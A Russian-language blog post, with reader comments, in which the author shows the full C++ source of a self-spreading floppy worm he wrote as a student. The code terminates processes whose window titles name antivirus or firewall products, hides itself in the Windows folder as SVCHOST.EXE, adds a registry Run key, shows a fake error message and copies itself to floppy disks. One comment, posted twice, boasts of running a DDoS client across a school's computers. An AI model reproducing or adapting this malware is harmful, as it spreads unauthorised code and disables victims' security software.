Познавательный блог  

Поиск по сайту

Гугль

Архивы

Несложный резидентный вирус-червь на C++

Устроившись работать программистом в свой родной ВУЗ, я обнаружил интересную вещицу. На некоторых компах периодически стучал флоппи-дисковод. Пытался читать или писать данные на дискету. Каково было мое удивление, когда я узнал в этом засранце свое 1курсное творение :). Которое каким-то образом выбралось на свободу. Этот вирус писался исктлючительно как научный эксперимент к двум моим научным статьям о вирусах, но как этот черт выбрался для меня осталось загадкой. Кстати обе статьи я опубликую на сайте, после их публикации в научном сборнике.

Вирусом, как таковым это назвать сложно, так как ничего кроме копирования на дискеты он не делает. Но сделана работа была на славу. Поехали...

При получении управления файл, искал все активные окна в заголовках которых содержались словечки:
Norton","AVP","Anti","Vir","McAfee","anti","vir","firewall"

И закрывал их. Это было несложно. И по большей части ни к чему, так как он не детектировался как вирус. Но проверить возможно ли это было крайне интересно.

char* bad_windows_list[kx] = {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"};

BOOL BadWindow(LPSTR strWindow)
{
BOOL res = FALSE;
for (int i=0;i<kx;i++)
if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
return res;
}
BOOL CALLBACK WndEnumProcMine (HWND hwnd1,long l1)
{
LPTSTR str1 = new char[255];
GetWindowText(hwnd1,str1,255);
if (BadWindow(str1))
{
DWORD dwProcessId;
GetWindowThreadProcessId(hwnd1,&dwProcessId);
if (dwProcessId!=GetCurrentProcessId())
{
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId);
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
}
delete str1;
return TRUE;
}
void EnumProcessesOther()
{
LPARAM c = 0;
EnumWindows((WNDENUMPROC) WndEnumProcMine,c);
}

Следующие его действия вполне предугадываемы.

Копируется в системную папку windows под именем svchost.exe и оставляет свои кишки в системном реестре, для запуска при перезагрузке.

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR pCmdLine,int nCmdShow)
{

char myname[1024],windir[1024];
HKEY hKey;
SetErrorMode(SEM_NOGPFAULTERRORBOX);
PeekMessage(NULL, NULL, NULL, NULL, NULL);

GetModuleFileName(hInstance,myname,sizeof (myname));
GetWindowsDirectory(windir,sizeof(windir));

strcat(windir,"\\SVCHOST.EXE");
CopyFile(myname,windir,FALSE);
SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);

//--------------------Startup--------------------------------
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\ Windows\\CurrentVersion\\ Policies\\Explorer\\Run" ,0,KEY_WRITE,&hKey);
RegSetValueEx(hKey,"SVCHOST.EXE",0, REG_SZ,(BYTE *)windir,256);
RegCloseKey(hKey);
//-----------------------------------------------------------

if(strcmp(windir,myname))
{
MessageBox(0, "This program not win32 mode","Error", MB_OK | MB_DEFBUTTON1 | MB_ICONEXCLAMATION | MB_DEFAULT_DESKTOP_ONLY);
return 0;
}
//-------
for(;;)
{
if(IsDiskInDrive ("a:\\"))
{
CopyFile(windir,"a:\\diskinfo.exe",FALSE);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows \\CurrentVersion\\Policies\\Explorer\\Run" ,0,KEY_WRITE,&hKey);
RegSetValueEx(hKey,"SVCHOST.EXE",0,REG_SZ,(BYTE *)windir,256);
RegCloseKey(hKey);
}
EnumProcessesOther();
Sleep(30000);
}

return 0;
}

Выводит липовое сообщение об ошибке. И после перезагрузки висит в памяти, и каждые 30000 миллисекунд записывается на дискету под именем diskinfo.exe. На удивление простой вирус, правда? Никакого вреда, только распространение. Но нестандартный ключ записи в реестр и незадачливое имя файлы svchost.exe вводило в ступор даже опытных сис/админов. Вроде бы никаких лишних процессов нет, а он есть. Палилось это довольно легко.

Настоящий процесс svchost.exe никогда не запускается из-под пользователя. Он всегда имеет приоритет запуска от системы (SYSTEM). После эксперимента, зверь был отправлен ко всем известным антивирусным компаниями и начал детектироваться спустя два дня. Все данные об эксперименте отражены в статьях. А программа прекратила свое существование.

Комментарии

Комментарий от Гуус [ Июль 19, 2008, 14:13 ]

Ну и для чего его было отправлять в лаборатории?
Был бы своего рода вирусик, только его подретушировать штобы определенные файлы копировал и увсе!))

Комментарий от Ну ты понял ;-) [ Сентябрь 25, 2009, 18:21 ]

Помню-помню твоего шалунишку.)) Вот только мне интересно, кто же это такие, те «опытные сис/админы», которых вводило в ступор? )))

Комментарий от денис [ Декабрь 11, 2009, 23:26 ]

ну и какой это вирус?
очень слабый троян, если его так можно назвать..

и зачем такие заголовки делать?

Комментарий от КОСТЯ [ Январь 14, 2010, 11:46 ]

ЭТО ОБЫЧНЫЙ ФЛОППИЧЕРВЬ

Комментарий от tsc [ Август 31, 2010, 07:21 ]

Какой эт нафиг вирус?,грохает процессы,прописывается в автозагрузку,и при наличии дискеты в дисководе записывается на неё,ни инфицирования других файлов,ни сокрытия процесса,ни других фич,и спалится это творение любым антивирусом ещё при добавлении в автозагрузку,фигня

Комментарий от admin [ Август 31, 2010, 09:35 ]

Слушайте ребята. Без выебонов пожалуйста. Я писал это в 2003 году для курсовой работы.

Комментарий от Хакнутый Хакер [ Ноябрь 10, 2010, 21:43 ]

Написал свой ддос клиент на delphi. Запустил на всех компах в школе…
Ддосил интернет журнал… Но вирус был посложнее, копировался в расшареные локальные папки.
Написал дома для практики, а мой друг тихонько в школе запустил!!! Инет стал глючить, компы висли, т.к компы очень старые!
Там стоял нот32 — полное фуфло, а еще с базой данных за 2008 год (сейчас 2010)

Комментарий от Пророк [ Ноябрь 29, 2010, 07:39 ]

Написал свой ддос клиент на delphi. Запустил на всех компах в школе…
Ддосил интернет журнал… Но вирус был посложнее, копировался в расшареные локальные папки.
Написал дома для практики, а мой друг тихонько в школе запустил!!! Инет стал глючить, компы висли, т.к компы очень старые!
Там стоял нот32 – полное фуфло, а еще с базой данных за 2008 год (сейчас 2010)

Комментарий от Z [ Февраль 6, 2013, 13:11 ]

А саморасространение это не вред ?

Комментарий от перистый [ Декабрь 11, 2013, 16:51 ]

с реестром можно поучитса.

Написать комментарий








Страницы

Свежие записи

Гугль

Мета

Счетчики


Rambler's Top100

Рубрики

  Разработка и дизайн — StvPromo.ru